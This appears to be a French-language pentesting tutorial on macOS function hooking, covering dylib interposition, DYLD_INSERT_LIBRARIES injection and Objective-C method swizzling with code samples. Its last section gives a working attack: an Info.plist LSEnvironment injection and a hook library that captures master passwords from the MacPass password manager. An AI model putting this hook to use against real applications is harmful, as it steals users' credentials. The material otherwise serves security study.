macOS Function Hooking

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Interception de fonctions

Créez une dylib avec une section __interpose (ou une section marquée avec S_INTERPOSING) contenant des paires de pointeurs de fonction qui font référence aux fonctions originales et de remplacement.

Ensuite, injectez la dylib avec DYLD_INSERT_LIBRARIES (l'interception doit se produire avant le chargement de l'application principale). Évidemment, les restrictions appliquées à l'utilisation de DYLD_INSERT_LIBRARIES s'appliquent également ici.

Interposer printf

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

Mac OS Architecture

Fonction de Hooking Mac OS

Le hooking de fonction est une technique qui permet de rediriger le flux d'exécution d'une fonction vers une autre. Sur macOS, cette technique est souvent utilisée pour des activités de piratage et d'escalade de privilèges. Les bibliothèques partagées peuvent être interposées pour remplacer les fonctions système par des versions modifiées. Cela peut être utilisé pour contourner les mécanismes de sécurité et obtenir un accès non autorisé au système.

Le hooking de fonction est une pratique courante dans le domaine de la sécurité informatique, mais il est important de noter que son utilisation abusive peut avoir des conséquences graves en termes de sécurité et de légalité.

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Méthode Swizzling

En ObjectiveC, voici comment une méthode est appelée : [instanceDeMaClasse nomDeLaMethodePremierParam:param1 secondParam:param2]

Il est nécessaire de disposer de l'objet, de la méthode et des paramètres. Lorsqu'une méthode est appelée, un message est envoyé en utilisant la fonction objc_msgSend : int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

L'objet est someObject, la méthode est @selector(method1p1:p2:) et les arguments sont value1, value2.

En suivant les structures d'objet, il est possible d'atteindre un tableau de méthodes où les noms et les pointeurs vers le code de la méthode sont localisés.

Notez que puisque les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec otool -ov </chemin/binaire> ou class-dump </chemin/binaire>

Accès aux méthodes brutes

Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de paramètres ou l'adresse comme dans l'exemple suivant:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Remplacement de méthode avec method_exchangeImplementations

La fonction method_exchangeImplementations permet de changer l'adresse de l'implémentation d'une fonction pour une autre.

Ainsi, lorsque qu'une fonction est appelée, c'est l'autre fonction qui est exécutée.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Dans ce cas, si le code d'implémentation de la méthode légitime vérifie le nom de la méthode, il pourrait détecter ce remplacement et l'empêcher de s'exécuter.

La technique suivante n'a pas cette restriction.

Remplacement de méthode avec method_setImplementation

Le format précédent est étrange car vous modifiez l'implémentation de 2 méthodes l'une par l'autre. En utilisant la fonction method_setImplementation, vous pouvez changer l'implémentation d'une méthode pour une autre.

N'oubliez pas de stocker l'adresse de l'implémentation de l'originale si vous allez l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera ensuite beaucoup plus compliqué de localiser cette adresse.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Méthodologie de l'attaque par hooking

Sur cette page, différentes façons de hooker des fonctions ont été discutées. Cependant, elles impliquaient l'exécution de code à l'intérieur du processus pour attaquer.

Pour ce faire, la technique la plus simple à utiliser est d'injecter un Dyld via des variables d'environnement ou du détournement. Cependant, je suppose que cela pourrait également être fait via l'injection de processus Dylib.

Cependant, les deux options sont limitées aux binaires/processus non protégés. Consultez chaque technique pour en savoir plus sur les limitations.

Cependant, une attaque par hooking de fonction est très spécifique, un attaquant le ferait pour voler des informations sensibles à l'intérieur d'un processus (sinon, vous feriez simplement une attaque par injection de processus). Et ces informations sensibles pourraient être situées dans des applications téléchargées par l'utilisateur telles que MacPass.

Ainsi, le vecteur de l'attaquant consisterait à trouver une vulnérabilité ou à supprimer la signature de l'application, à injecter la variable d'environnement DYLD_INSERT_LIBRARIES via le fichier Info.plist de l'application en ajoutant quelque chose comme:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

et ensuite réenregistrer l'application :

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : Mots de passe, messages...

Notez que dans les versions plus récentes de macOS, si vous supprimez la signature du binaire de l'application et qu'il a été exécuté précédemment, macOS ne lancera plus l'application.

Exemple de bibliothèque

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Références

https://nshipster.com/method-swizzling/

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Last updated 9 months ago